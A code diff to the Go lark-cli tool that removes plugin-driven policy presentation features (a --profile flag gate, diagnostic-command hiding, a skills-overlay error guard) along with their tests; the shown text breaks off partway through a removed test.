@@ -13,7 +13,6 @@ import (
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/policystate"
 	"github.com/spf13/cobra"
 )
 
@@ -56,12 +55,7 @@ func configShowRun(opts *ConfigShowOptions) error {
 	}
 	app := config.CurrentAppConfig(f.Invocation.Profile)
 	if app == nil {
-		e := errs.NewConfigError(errs.SubtypeNotConfigured, "no active profile")
-		// No recovery hint when the profile domain is absent from this build.
-		if !policystate.DomainDeniedByPlugin("profile") {
-			e = e.WithHint("run: lark-cli profile list")
-		}
-		return e
+		return errs.NewConfigError(errs.SubtypeNotConfigured, "no active profile").WithHint("run: lark-cli profile list")
 	}
 	users := "(no logged-in users)"
 	if len(app.Users) > 0 {

cmd/flag_gate.go

@@ -1,109 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd
-
-import (
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/cmdpolicy"
-)
-
-// globalFlagDomains maps each root persistent flag to the command domain
-// it belongs to. A new domain-tied global flag must add a row.
-var globalFlagDomains = map[string]string{
-	"profile": "profile",
-}
-
-// flagGateAnnotation distinguishes a policy-retired flag from one hidden
-// cosmetically (single-app mode force-shows the latter in root help).
-const flagGateAnnotation = "lark:policy_denied_flag"
-
-// applyPluginFlagGate hides and rejects the global flags whose whole
-// domain a plugin denied. yaml denials do not gate flags. Must run after
-// RegisterGlobalFlags and cmdpolicy.Apply.
-func applyPluginFlagGate(root *cobra.Command, denied map[string]cmdpolicy.Denial) {
-	gated := false
-	for flagName, domain := range globalFlagDomains {
-		d, ok := denied[domain]
-		if !ok || !cmdpolicy.IsPluginPolicySource(d.PolicySource) {
-			continue
-		}
-		fl := root.PersistentFlags().Lookup(flagName)
-		if fl == nil {
-			continue
-		}
-		fl.Hidden = true
-		if fl.Annotations == nil {
-			fl.Annotations = map[string][]string{}
-		}
-		fl.Annotations[flagGateAnnotation] = []string{"true"}
-		gated = true
-	}
-	if gated {
-		installFlagGateRejection(root)
-	}
-}
-
-func isPolicyGatedFlag(fl *pflag.Flag) bool {
-	return fl != nil && fl.Annotations[flagGateAnnotation] != nil
-}
-
-// installFlagGateRejection rejects gated flags right after parsing.
-// pflag has no runtime unregister, so the flag still parses; and cobra
-// resolves PersistentPreRunE "first non-nil wins" walking up from the
-// leaf, so every command carrying its own (cmd/auth, cmd/config) must be
-// wrapped too, not just the root.
-func installFlagGateRejection(root *cobra.Command) {
-	var walk func(c *cobra.Command)
-	walk = func(c *cobra.Command) {
-		if prev := c.PersistentPreRunE; prev != nil {
-			c.PersistentPreRunE = func(cc *cobra.Command, args []string) error {
-				if err := rejectGatedFlags(cc); err != nil {
-					return err
-				}
-				return prev(cc, args)
-			}
-		}
-		for _, child := range c.Commands() {
-			walk(child)
-		}
-	}
-	prevRun := root.PersistentPreRun
-	root.PersistentPreRun = nil
-	root.PersistentPreRunE = func(c *cobra.Command, args []string) error {
-		if err := rejectGatedFlags(c); err != nil {
-			return err
-		}
-		if prevRun != nil {
-			prevRun(c, args)
-		}
-		return nil
-	}
-	for _, child := range root.Commands() {
-		walk(child)
-	}
-}
-
-// rejectGatedFlags fails a set policy-retired flag with the same shape an
-// unregistered flag produces (see flagDidYouMean).
-//
-// VisitAll + fl.Changed, not Visit: cobra parses a persistent flag on the leaf
-// command's merged flagset, so root.PersistentFlags()'s "changed" table stays
-// empty and Visit (which only walks that table) never fires on the dispatch
-// path. The flag objects are shared by pointer across the merge, so fl.Changed
-// reflects a real leaf-level parse.
-func rejectGatedFlags(c *cobra.Command) error {
-	var rejected error
-	c.Root().PersistentFlags().VisitAll(func(fl *pflag.Flag) {
-		if rejected == nil && fl.Changed && isPolicyGatedFlag(fl) {
-			rejected = errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"unknown flag %q for %q", "--"+fl.Name, c.CommandPath()).
-				WithParams(errs.InvalidParam{Name: "--" + fl.Name, Reason: "unknown flag"}).
-				WithHint("run `%s --help` to see valid flags", c.CommandPath())
-		}
-	})
-	return rejected
-}

cmd/platform_bootstrap.go

@@ -17,7 +17,6 @@ import (
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/hook"
 	internalplatform "github.com/larksuite/cli/internal/platform"
-	"github.com/larksuite/cli/internal/policystate"
 	"github.com/larksuite/cli/internal/vfs"
 )
 
@@ -36,15 +35,7 @@ const userPolicyFileName = "policy.yml"
 //
 // pluginRules carries Plugin.Restrict() contributions collected from
 // the InstallAll phase; nil/empty is fine.
-//
-// The returned denied map (nil when no rule denied anything) feeds the
-// post-pruning presentation passes in build.go: the global-flag gate and
-// the fixed-hint filter both key off which domains a plugin denied.
-func applyUserPolicyPruning(rootCmd *cobra.Command, pluginRules []cmdpolicy.PluginRule) (map[string]cmdpolicy.Denial, error) {
-	// Reset up front so every early return leaves the process-global
-	// snapshot clean; the success path re-populates it.
-	policystate.SetPluginDeniedDomains(nil)
-
+func applyUserPolicyPruning(rootCmd *cobra.Command, pluginRules []cmdpolicy.PluginRule) error {
 	// Plugin rules shadow the yaml source entirely (Resolve: plugin >
 	// yaml). When a plugin contributed rules we therefore do NOT even
 	// read ~/.lark-cli/policy.yml: build.go fail-CLOSES on any policy
@@ -74,7 +65,7 @@ func applyUserPolicyPruning(rootCmd *cobra.Command, pluginRules []cmdpolicy.Plug
 			// show` reports "no policy" instead of a stale rule that
 			// doesn't reflect the current command tree.
 			cmdpolicy.SetActive(nil)
-			return nil, lerr
+			return lerr
 		}
 		yamlRules = loaded
 	}
@@ -86,11 +77,11 @@ func applyUserPolicyPruning(rootCmd *cobra.Command, pluginRules []cmdpolicy.Plug
 	})
 	if err != nil {
 		cmdpolicy.SetActive(nil)
-		return nil, err
+		return err
 	}
 	if len(rules) == 0 {
 		cmdpolicy.SetActive(&cmdpolicy.ActivePolicy{Source: source})
-		return nil, nil
+		return nil
 	}
 
 	// RuleName attributes a denial to a specific rule in the envelope.
@@ -103,39 +94,17 @@ func applyUserPolicyPruning(rootCmd *cobra.Command, pluginRules []cmdpolicy.Plug
 		ruleName = rules[0].Name
 	}
 
-	// DeniedMessage is build-level: the first non-empty message across
-	// the single owner's rules speaks for all of them.
-	deniedMessage := ""
-	for _, r := range rules {
-		if r.DeniedMessage != "" {
-			deniedMessage = r.DeniedMessage
-			break
-		}
-	}
-
 	engine := cmdpolicy.NewSet(rules)
 	decisions := engine.EvaluateAll(rootCmd)
-	denied := cmdpolicy.BuildDeniedByPath(rootCmd, decisions, source, ruleName, deniedMessage)
+	denied := cmdpolicy.BuildDeniedByPath(rootCmd, decisions, source, ruleName)
 	cmdpolicy.Apply(rootCmd, denied)
 
 	cmdpolicy.SetActive(&cmdpolicy.ActivePolicy{
-		Rules:        rules,
-		Source:       source,
-		DeniedPaths:  len(denied),
-		DeniedByPath: denied,
+		Rules:       rules,
+		Source:      source,
+		DeniedPaths: len(denied),
 	})
-
-	// Whole-domain denials surface as aggregate entries keyed by the
-	// bare domain name (no slash); record them for render-time hint
-	// emitters (internal/auth, internal/client, the notice provider).
-	pluginDomains := map[string]bool{}
-	for path, d := range denied {
-		if !strings.Contains(path, "/") && cmdpolicy.IsPluginPolicySource(d.PolicySource) {
-			pluginDomains[path] = true
-		}
-	}
-	policystate.SetPluginDeniedDomains(pluginDomains)
-	return denied, nil
+	return nil
 }
 
 // installPluginsAndHooks runs the InstallAll phase on the globally-
@@ -187,22 +156,7 @@ func recordInventory(installResult *internalplatform.InstallResult) {
 			AllowUnannotated: r.Rule.AllowUnannotated,
 		})
 	}
-	skillSrcs := make([]internalplatform.SkillsInventorySource, 0, len(installResult.PluginSkills))
-	for _, ps := range installResult.PluginSkills {
-		if ps.SkillsOverlay == nil {
-			continue
-		}
-		skillSrcs = append(skillSrcs, internalplatform.SkillsInventorySource{
-			PluginName: ps.PluginName,
-			View: internalplatform.SkillsOverlayView{
-				Allow:   ps.SkillsOverlay.Allow,
-				Remove:  ps.SkillsOverlay.Remove,
-				Overlay: ps.SkillsOverlay.Overlay != nil,
-				Base:    ps.SkillsOverlay.Base != nil,
-			},
-		})
-	}
-	internalplatform.SetActiveInventory(internalplatform.BuildInventory(pluginSrcs, installResult.Registry, ruleSrcs, skillSrcs))
+	internalplatform.SetActiveInventory(internalplatform.BuildInventory(pluginSrcs, installResult.Registry, ruleSrcs))
 }
 
 // wireHooks installs Observer/Wrapper hooks onto every runnable command

cmd/platform_bootstrap_test.go

@@ -116,7 +116,7 @@ max_risk: write
 `)
 
 	root := fakeTree(t)
-	if _, err := applyUserPolicyPruning(root, nil); err != nil {
+	if err := applyUserPolicyPruning(root, nil); err != nil {
 		t.Fatalf("apply policy: %v", err)
 	}
 
@@ -175,7 +175,7 @@ func TestApplyUserPolicyPruning_missingFileIsSilent(t *testing.T) {
 	tmpHome(t) // home set but no policy.yml written
 
 	root := fakeTree(t)
-	if _, err := applyUserPolicyPruning(root, nil); err != nil {
+	if err := applyUserPolicyPruning(root, nil); err != nil {
 		t.Fatalf("missing policy should not error, got %v", err)
 	}
 
@@ -196,7 +196,7 @@ func TestApplyUserPolicyPruning_malformedYamlReturnsError(t *testing.T) {
 	writePolicy(t, cfgDir, "::: not yaml :::")
 
 	root := fakeTree(t)
-	_, err := applyUserPolicyPruning(root, nil)
+	err := applyUserPolicyPruning(root, nil)
 	if err == nil {
 		t.Fatalf("malformed yaml should produce an error")
 	}
@@ -221,7 +221,7 @@ func TestApplyUserPolicyPruning_pluginRulesSkipBrokenYaml(t *testing.T) {
 		}},
 	}
 	root := fakeTree(t)
-	if _, err := applyUserPolicyPruning(root, pluginRules); err != nil {
+	if err := applyUserPolicyPruning(root, pluginRules); err != nil {
 		t.Fatalf("plugin rules must shadow (and skip reading) yaml; broken yaml should not error, got %v", err)
 	}
 
@@ -243,7 +243,7 @@ func TestApplyUserPolicyPruning_invalidRuleReturnsError(t *testing.T) {
 	writePolicy(t, cfgDir, "max_risk: nukem\n")
 
 	root := fakeTree(t)
-	_, err := applyUserPolicyPruning(root, nil)
+	err := applyUserPolicyPruning(root, nil)
 	if err == nil {
 		t.Fatalf("invalid MaxRisk should produce an error")
 	}

cmd/platform_guards.go

@@ -12,7 +12,6 @@ import (
 	"github.com/larksuite/cli/internal/cmdpolicy"
 	"github.com/larksuite/cli/internal/hook"
 	internalplatform "github.com/larksuite/cli/internal/platform"
-	"github.com/larksuite/cli/internal/skillpolicy"
 )
 
 // installFatalGuard wires a fail-closed guard at every cobra dispatch
@@ -111,27 +110,6 @@ func installPluginConflictGuard(rootCmd *cobra.Command, err error) {
 	installFatalGuard(rootCmd, makeErr)
 }
 
-// installPluginSkillErrorGuard surfaces a plugin SkillsOverlay configuration
-// error before any command runs. Two failure modes, split by reason code:
-//
-//   - "invalid_skills_overlay"          - a Remove/Overlay that cannot compose
-//   - "multiple_skills_overlay_plugins" - two plugins each customizing skills
-//
-// The CLI must NOT silently fall back to default skills once an
-// integrator has declared a customization.
-func installPluginSkillErrorGuard(rootCmd *cobra.Command, err error) {
-	makeErr := func() error {
-		reasonCode := internalplatform.ReasonInvalidSkillsOverlay
-		if errors.Is(err, skillpolicy.ErrMultipleSkillsOverlays) {
-			reasonCode = internalplatform.ReasonMultipleSkillsOverlays
-		}
-		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "%s", err.Error()).
-			WithHint("plugin skill customization is broken (reason_code %s); fix the plugin's SkillsOverlay or remove the conflicting plugin", reasonCode).
-			WithCause(err)
-	}
-	installFatalGuard(rootCmd, makeErr)
-}
-
 // installPluginLifecycleErrorGuard surfaces a Startup lifecycle handler
 // failure as a typed validation error (failed_precondition). The hint's
 // reason code splits returned-error vs panic so consumers (audit /

cmd/presentation.go

@@ -1,169 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd
-
-import (
-	"strings"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/internal/cmdpolicy"
-	internalplatform "github.com/larksuite/cli/internal/platform"
-)
-
-// applyPluginPresentation makes plugin-denied capabilities present as
-// absent: retired flags, no skills footer, diagnostics hidden or retired.
-// Presentation only — enforcement happened in cmdpolicy.Apply.
-func applyPluginPresentation(rootCmd *cobra.Command, installResult *internalplatform.InstallResult, denied map[string]cmdpolicy.Denial) {
-	applyPluginFlagGate(rootCmd, denied)
-
-	if domainDeniedByPlugin(denied, "skills") {
-		rootCmd.SetUsageTemplate(strings.Replace(rootUsageTemplate, skillsSetupFooter, "", 1))
-	}
-
-	if installResult != nil && hideDiagnosticsOwner(installResult.Plugins) != "" {
-		retireDiagnostics(rootCmd, installResult, denied)
-	} else {
-		concealDiagnostics(rootCmd, denied)
-	}
-}
-
-// domainDeniedByPlugin reads the freshly-built denied map, unlike
-// policystate.DomainDeniedByPlugin which serves render-time consumers.
-func domainDeniedByPlugin(denied map[string]cmdpolicy.Denial, domain string) bool {
-	d, ok := denied[domain]
-	return ok && cmdpolicy.IsPluginPolicySource(d.PolicySource)
-}
-
-// hideDiagnosticsOwner returns the plugin that declared HideDiagnostics,
-// or "". The host already enforced that it also Restricts.
-func hideDiagnosticsOwner(plugins []internalplatform.PluginInfo) string {
-	for _, p := range plugins {
-		if p.Capabilities.HideDiagnostics {
-			return p.Name
-		}
-	}
-	return ""
-}
-
-// retireDiagnostics installs the unavailable presentation on the
-// diagnostic exemptions, same as any other plugin-denied command.
-func retireDiagnostics(rootCmd *cobra.Command, installResult *internalplatform.InstallResult, denied map[string]cmdpolicy.Denial) {
-	source := "plugin:" + hideDiagnosticsOwner(installResult.Plugins)
-	message := ""
-	for _, d := range denied {
-		if cmdpolicy.IsPluginPolicySource(d.PolicySource) && d.DeniedMessage != "" {
-			message = d.DeniedMessage
-			break
-		}
-	}
-	diag := map[string]cmdpolicy.Denial{}
-	for _, path := range cmdpolicy.DiagnosticPaths() {
-		diag[path] = cmdpolicy.Denial{
-			Layer:         cmdpolicy.LayerPolicy,
-			PolicySource:  source,
-			ReasonCode:    "diagnostics_hidden",
-			Reason:        "policy self-inspection hidden by the integrator",
-			DeniedMessage: message,
-		}
-	}
-	cmdpolicy.Apply(rootCmd, diag)
-}
-
-// concealDiagnostics hides the diagnostic exemptions from help — without
-// touching their RunE, so they stay dispatchable — once every non-exempt
-// sibling in their domain is already hidden. The group itself then gets
-// the unavailable stub: it escaped denial aggregation only because the
-// exemptions kept a runnable descendant alive, and its unknown-subcommand
-// guard RunE would otherwise keep it listed in help.
-func concealDiagnostics(rootCmd *cobra.Command, denied map[string]cmdpolicy.Denial) {
-	for _, group := range diagnosticDomainGroups(rootCmd) {
-		if !pluginDeniedUnder(denied, cmdpolicy.CanonicalPath(group)) {
-			continue
-		}
-		exemptAncestors := map[*cobra.Command]bool{}
-		for _, path := range cmdpolicy.DiagnosticPaths() {
-			for c := findByPath(rootCmd, path); c != nil && c != group; c = c.Parent() {
-				exemptAncestors[c] = true
-			}
-		}
-		allOthersHidden := true
-		for _, child := range group.Commands() {
-			if child.Name() == "help" || exemptAncestors[child] {
-				continue
-			}
-			if !child.Hidden {
-				allOthersHidden = false
-				break
-			}
-		}
-		if !allOthersHidden {
-			continue
-		}
-		for c := range exemptAncestors {
-			c.Hidden = true
-		}
-		var sample cmdpolicy.Denial
-		for path, d := range denied {
-			if strings.HasPrefix(path, cmdpolicy.CanonicalPath(group)+"/") && cmdpolicy.IsPluginPolicySource(d.PolicySource) {
-				sample = d
-				break
-			}
-		}
-		cmdpolicy.Apply(rootCmd, map[string]cmdpolicy.Denial{
-			cmdpolicy.CanonicalPath(group): {
-				Layer:         cmdpolicy.LayerPolicy,
-				PolicySource:  sample.PolicySource,
-				RuleName:      sample.RuleName,
-				ReasonCode:    "all_children_denied",
-				Reason:        "all child commands are denied",
-				DeniedMessage: sample.DeniedMessage,
-			},
-		})
-	}
-}
-
-// diagnosticDomainGroups returns the top-level groups containing a
-// diagnostic exemption (today just `config`).
-func diagnosticDomainGroups(rootCmd *cobra.Command) []*cobra.Command {
-	seen := map[*cobra.Command]bool{}
-	var out []*cobra.Command
-	for _, path := range cmdpolicy.DiagnosticPaths() {
-		top, _, _ := strings.Cut(path, "/")
-		if c := findByPath(rootCmd, top); c != nil && !seen[c] {
-			seen[c] = true
-			out = append(out, c)
-		}
-	}
-	return out
-}
-
-func pluginDeniedUnder(denied map[string]cmdpolicy.Denial, prefix string) bool {
-	for path, d := range denied {
-		if strings.HasPrefix(path, prefix+"/") && cmdpolicy.IsPluginPolicySource(d.PolicySource) {
-			return true
-		}
-	}
-	return false
-}
-
-// findByPath resolves a canonical slash path (e.g. "config/policy/show")
-// to the command node, or nil.
-func findByPath(rootCmd *cobra.Command, path string) *cobra.Command {
-	cur := rootCmd
-	for _, seg := range strings.Split(path, "/") {
-		var next *cobra.Command
-		for _, child := range cur.Commands() {
-			if child.Name() == seg {
-				next = child
-				break
-			}
-		}
-		if next == nil {
-			return nil
-		}
-		cur = next
-	}
-	return cur
-}

cmd/presentation_test.go

@@ -1,397 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd
-
-import (
-	"bytes"
-	"context"
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/extension/platform"
-	"github.com/larksuite/cli/internal/cmdpolicy"
-	internalplatform "github.com/larksuite/cli/internal/platform"
-	"github.com/larksuite/cli/internal/policystate"
-	"github.com/larksuite/cli/internal/update"
-)
-
-// restrictingPlugin registers a plugin that denies the given globs; extra
-// customizes the builder further (nil for none).
-func restrictingPlugin(t *testing.T, deny []string, extra func(*platform.Builder) *platform.Builder) {
-	t.Helper()
-	platform.ResetForTesting()
-	t.Cleanup(platform.ResetForTesting)
-	t.Cleanup(func() { policystate.ResetForTesting() })
-	b := platform.NewPlugin("acme", "1.0").Restrict(&platform.Rule{Deny: deny})
-	if extra != nil {
-		b = extra(b)
-	}
-	platform.Register(b.MustBuild())
-}
-
-// runnableUnder returns the first runnable non-exempt descendant under
-// the named top-level group of the real command tree (the diagnostic
-// exemptions keep their original RunE and would not exercise the stub).
-func runnableUnder(t *testing.T, root *cobra.Command, group string) *cobra.Command {
-	t.Helper()
-	g := findByPath(root, group)
-	if g == nil {
-		t.Fatalf("group %q not found in command tree", group)
-	}
-	var find func(c *cobra.Command) *cobra.Command
-	find = func(c *cobra.Command) *cobra.Command {
-		if c.RunE != nil && len(c.Commands()) == 0 && !cmdpolicy.IsDiagnosticPath(cmdpolicy.CanonicalPath(c)) {
-			return c
-		}
-		for _, child := range c.Commands() {
-			if leaf := find(child); leaf != nil {
-				return leaf
-			}
-		}
-		return nil
-	}
-	leaf := find(g)
-	if leaf == nil {
-		t.Fatalf("no runnable non-exempt leaf under %q", group)
-	}
-	return leaf
-}
-
-// A plugin-denied command answers with command_unavailable: default
-// message, no hint, no policy vocabulary.
-func TestBuildInternal_pluginDenyPresentsUnavailable(t *testing.T) {
-	tmpHome(t)
-	restrictingPlugin(t, []string{"config/**"}, nil)
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	leaf := runnableUnder(t, root, "config")
-
-	err := leaf.RunE(leaf, nil)
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) {
-		t.Fatalf("expected *errs.ValidationError, got %T %v", err, err)
-	}
-	if ve.Subtype != errs.SubtypeCommandUnavailable {
-		t.Errorf("subtype = %q, want command_unavailable", ve.Subtype)
-	}
-	if ve.Message != cmdpolicy.DefaultUnavailableMessage || ve.Hint != "" {
-		t.Errorf("message=%q hint=%q, want default message and empty hint", ve.Message, ve.Hint)
-	}
-}
-
-// Rule.DeniedMessage speaks in the integrator's product voice.
-func TestBuildInternal_deniedMessageOverride(t *testing.T) {
-	tmpHome(t)
-	platform.ResetForTesting()
-	t.Cleanup(platform.ResetForTesting)
-	t.Cleanup(func() { policystate.ResetForTesting() })
-	platform.Register(platform.NewPlugin("acme", "1.0").
-		Restrict(&platform.Rule{Deny: []string{"config/**"}, DeniedMessage: "not part of acme cli"}).
-		MustBuild())
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	leaf := runnableUnder(t, root, "config")
-
-	err := leaf.RunE(leaf, nil)
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) {
-		t.Fatalf("expected *errs.ValidationError, got %T", err)
-	}
-	if ve.Message != "not part of acme cli" {
-		t.Errorf("message = %q, want the integrator's DeniedMessage", ve.Message)
-	}
-}
-
-// Explicit help on a plugin-denied command must not render the original
-// usage; it answers with the same unavailable envelope.
-func TestBuildInternal_pluginDenyHelpIntercepted(t *testing.T) {
-	tmpHome(t)
-	restrictingPlugin(t, []string{"config/**"}, nil)
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	leaf := runnableUnder(t, root, "config")
-
-	var buf bytes.Buffer
-	leaf.SetOut(&buf)
-	leaf.SetErr(&buf)
-	root.HelpFunc()(leaf, nil)
-	out := buf.String()
-	if !strings.Contains(out, "command_unavailable") {
-		t.Errorf("explicit help must answer command_unavailable, got:\n%s", out)
-	}
-	if strings.Contains(out, "Usage:") {
-		t.Errorf("explicit help must not render the original usage, got:\n%s", out)
-	}
-
-	// yaml-source presentation is untouched: a command outside the denied
-	// domain still renders normal help.
-	var normal bytes.Buffer
-	alive := findByPath(root, "skills")
-	alive.SetOut(&normal)
-	alive.SetErr(&normal)
-	root.HelpFunc()(alive, nil)
-	if strings.Contains(normal.String(), "command_unavailable") {
-		t.Errorf("non-denied command help must render normally, got:\n%s", normal.String())
-	}
-}
-
-// `lark-cli help <plugin-restricted-cmd>` must fail with the typed
-// unavailable error (exit non-zero), not print an envelope and exit 0.
-func TestBuildInternal_helpCommandReturnsUnavailable(t *testing.T) {
-	tmpHome(t)
-	restrictingPlugin(t, []string{"config/**"}, nil)
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	helpCmd := findByPath(root, "help")
-	if helpCmd == nil || helpCmd.RunE == nil {
-		t.Fatal("custom help command not installed")
-	}
-
-	err := helpCmd.RunE(helpCmd, []string{"config"})
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) || ve.Subtype != errs.SubtypeCommandUnavailable {
-		t.Errorf("help on a restricted command must return command_unavailable, got %v", err)
-	}
-
-	// A live target renders normally and returns nil.
-	var buf bytes.Buffer
-	root.SetOut(&buf)
-	root.SetErr(&buf)
-	if err := helpCmd.RunE(helpCmd, []string{"skills"}); err != nil {
-		t.Errorf("help on a live command must succeed, got %v", err)
-	}
-}
-
-// help is a framework meta command: an allow-list rule must not deny it.
-// `help <live-cmd>` renders; `help <denied-cmd>` returns unavailable.
-func TestBuildInternal_helpSurvivesAllowList(t *testing.T) {
-	tmpHome(t)
-	platform.ResetForTesting()
-	t.Cleanup(platform.ResetForTesting)
-	t.Cleanup(func() { policystate.ResetForTesting() })
-	platform.Register(platform.NewPlugin("acme", "1.0").
-		Restrict(&platform.Rule{Allow: []string{"im/**"}, AllowUnannotated: true}).
-		MustBuild())
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	helpCmd := findByPath(root, "help")
-	if helpCmd == nil || helpCmd.Annotations[cmdpolicy.AnnotationDenialLayer] != "" {
-		t.Fatalf("help must not be policy-denied under an allow-list; annotations=%v", helpCmd.Annotations)
-	}
-
-	var buf bytes.Buffer
-	root.SetOut(&buf)
-	root.SetErr(&buf)
-	if err := helpCmd.RunE(helpCmd, []string{"im"}); err != nil {
-		t.Errorf("help on an allowed domain must render, got %v", err)
-	}
-
-	err := helpCmd.RunE(helpCmd, []string{"config"})
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) || ve.Subtype != errs.SubtypeCommandUnavailable {
-		t.Errorf("help on a denied domain must return command_unavailable, got %v", err)
-	}
-}
-
-// The plugin inventory surfaces the new contributions so `config plugins
-// show` can answer "what did this build customize".
-func TestBuildInternal_inventoryCoversNewCapabilities(t *testing.T) {
-	tmpHome(t)
-	withBaseSkills(t, map[string]string{"lark-a/SKILL.md": "---\ndescription: a\n---\n"})
-	restrictingPlugin(t, []string{"profile/**"}, func(b *platform.Builder) *platform.Builder {
-		return b.HideDiagnostics().
-			EmbeddedSkills(&platform.SkillsOverlay{Remove: []string{"lark-a"}})
-	})
-
-	buildInternal(context.Background(), buildInvocationForTest(t))
-	inv := internalplatform.GetActiveInventory()
-	if inv == nil || len(inv.Plugins) != 1 {
-		t.Fatalf("inventory = %+v, want 1 plugin", inv)
-	}
-	p := inv.Plugins[0]
-	if !p.Capabilities.HideDiagnostics {
-		t.Error("inventory must surface HideDiagnostics")
-	}
-	if p.EmbeddedSkills == nil || len(p.EmbeddedSkills.Remove) != 1 || p.EmbeddedSkills.Remove[0] != "lark-a" {
-		t.Errorf("inventory must summarise EmbeddedSkills, got %+v", p.EmbeddedSkills)
-	}
-}
-
-// Denying the whole profile domain retires --profile: hidden from help,
-// and setting it fails like an unknown flag.
-func TestBuildInternal_profileFlagGate(t *testing.T) {
-	tmpHome(t)
-	restrictingPlugin(t, []string{"profile", "profile/**"}, nil)
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-
-	fl := root.PersistentFlags().Lookup("profile")
-	if fl == nil {
-		t.Fatal("--profile not registered")
-	}
-	if !fl.Hidden || !isPolicyGatedFlag(fl) {
-		t.Errorf("flag should be hidden and policy-gated; hidden=%v gated=%v", fl.Hidden, isPolicyGatedFlag(fl))
-	}
-
-	// Setting the flag (as cobra's parse would) must be rejected as unknown.
-	if err := root.PersistentFlags().Set("profile", "prod"); err != nil {
-		t.Fatalf("Set: %v", err)
-	}
-	err := rejectGatedFlags(root)
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) || !strings.Contains(ve.Message, "unknown flag") {
-		t.Errorf("setting a gated flag must fail as unknown flag, got %v", err)
-	}
-}
-
-// The gate must also fire on the real dispatch path. cobra parses a persistent
-// flag on the leaf command's merged flagset, so a gate that walks
-// root.PersistentFlags()'s changed table is a no-op once the flag is passed to
-// a subcommand. Drive root.Execute end to end and confirm the gated --profile
-// is rejected before the command body runs.
-func TestBuildInternal_profileFlagGate_RejectsOnDispatch(t *testing.T) {
-	tmpHome(t)
-	restrictingPlugin(t, []string{"profile", "profile/**"}, nil)
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-
-	ranBody := false
-	root.AddCommand(&cobra.Command{
-		Use:  "gateprobe",
-		RunE: func(*cobra.Command, []string) error { ranBody = true; return nil },
-	})
-
-	var buf bytes.Buffer
-	root.SetOut(&buf)
-	root.SetErr(&buf)
-	root.SetArgs([]string{"--profile", "prod", "gateprobe"})
-
-	err := root.Execute()
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) || !strings.Contains(ve.Message, "unknown flag") {
-		t.Errorf("a gated --profile passed on the dispatch path must fail as unknown flag, got %v", err)
-	}
-	if ranBody {
-		t.Error("gated --profile must be rejected before the command body runs")
-	}
-}
-
-// Without the profile domain denied, the gate stays inert.
-func TestBuildInternal_profileFlagUntouchedWithoutDenial(t *testing.T) {
-	tmpHome(t)
-	restrictingPlugin(t, []string{"config/**"}, nil)
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	if fl := root.PersistentFlags().Lookup("profile"); isPolicyGatedFlag(fl) {
-		t.Error("--profile must not be gated when its domain is not denied")
-	}
-}
-
-// Denying the skills domain drops the root-help skills-setup footer.
-func TestBuildInternal_skillsFooterSuppressed(t *testing.T) {
-	tmpHome(t)
-	restrictingPlugin(t, []string{"skills", "skills/**"}, nil)
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	if strings.Contains(root.UsageTemplate(), "Skills setup") {
-		t.Error("skills-setup footer must be dropped when the skills domain is denied")
-	}
-
-	// Control: without the denial the footer stays.
-	platform.ResetForTesting()
-	policystate.ResetForTesting()
-	_, root2, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-	if !strings.Contains(root2.UsageTemplate(), "Skills setup") {
-		t.Error("skills-setup footer must stay in the default build")
-	}
-}
-
-// Denying the skills command domain kills every `skills read` pointer in
-// domain help, even when the skill content itself is still embedded — the
-// command the pointers name is absent, so they would all be dead ends.
-func TestBuildInternal_skillsDomainDenyKillsHelpPointers(t *testing.T) {
-	tmpHome(t)
-	withBaseSkills(t, map[string]string{"lark-im/SKILL.md": "---\ndescription: im\n---\n"})
-	restrictingPlugin(t, []string{"skills", "skills/**"}, nil)
-
-	_, root, _ := buildInternal(context.Background(), buildInvocationForTest(t))
-
-	im := findByPath(root, "im")
-	if im == nil {
-		t.Fatal("im domain not in tree")
-	}
-	var buf bytes.Buffer
-	im.SetOut(&buf)
-	im.SetErr(&buf)
-	root.HelpFunc()(im, nil)
-	if strings.Contains(buf.String(), "skills read") {
-		t.Errorf("domain help must not point at the denied skills command, got:\n%s", buf.String())
-	}
-}
-
-// Denying the update domain silences the _notice providers that would
-// steer the caller to `lark-cli update`.
-func TestComposePendingNotice_updateDomainDenied(t *testing.T) {
-	update.SetPending(&update.UpdateInfo{Current: "1.0.0", Latest: "1.0.1"})
-	t.Cleanup(func() { update.SetPending(nil) })
-	t.Cleanup(policystate.ResetForTesting)
-
-	policystate.SetPluginDeniedDomains(map[string]bool{"update": true})
-	if got := composePendingNotice(); got != nil {
-		t.Errorf("notices must be silenced with the update domain denied, got %+v", got)
-	}
-
-	policystate.SetPluginDeniedDomains(nil)
-	if got := composePendingNotice(); got == nil {
